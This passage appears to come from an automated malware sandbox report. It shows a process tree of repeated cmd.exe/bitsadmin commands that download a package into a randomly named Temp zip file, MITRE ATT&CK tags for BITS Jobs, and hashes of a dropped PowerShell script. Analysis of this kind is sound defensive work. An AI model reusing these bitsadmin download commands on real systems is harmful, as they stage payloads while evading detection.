      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1560
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:808
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1940
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1856
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1164
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1196
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:564
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1316
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1324
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1636
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1480
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:556
- - C:\Windows\SysWOW64\find.exe
    find /v ""
    3⤵
    PID:1916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\KBUxmd.ps1

Filesize
7KB

MD5
1522772a2adbba1e82c632fdc42d2fd4

SHA1
a22e490e92602b518e3b0c87b3efd866f8fac906

SHA256
37dea31bc7fcd64672bd499f487876d631b3333ed30a5f1509ea2fa6fa85d769

SHA512
d7083f9c37e846ae86a30eab2b52cf1a85557d050a17dd925eb1a7f4a5c2bfcdf0ea39ce6ce19b0033d3238634e7f942ef313b244dd13d652f22af5b64fb9bd3

Download Submit
memory/1104-63-0x0000000073CA0000-0x000000007424B000-memory.dmp

Filesize
5.7MB

Download
memory/1104-58-0x0000000073CA0000-0x000000007424B000-memory.dmp

Filesize
5.7MB

Download
memory/1104-57-0x0000000076461000-0x0000000076463000-memory.dmp

Filesize
8KB

Download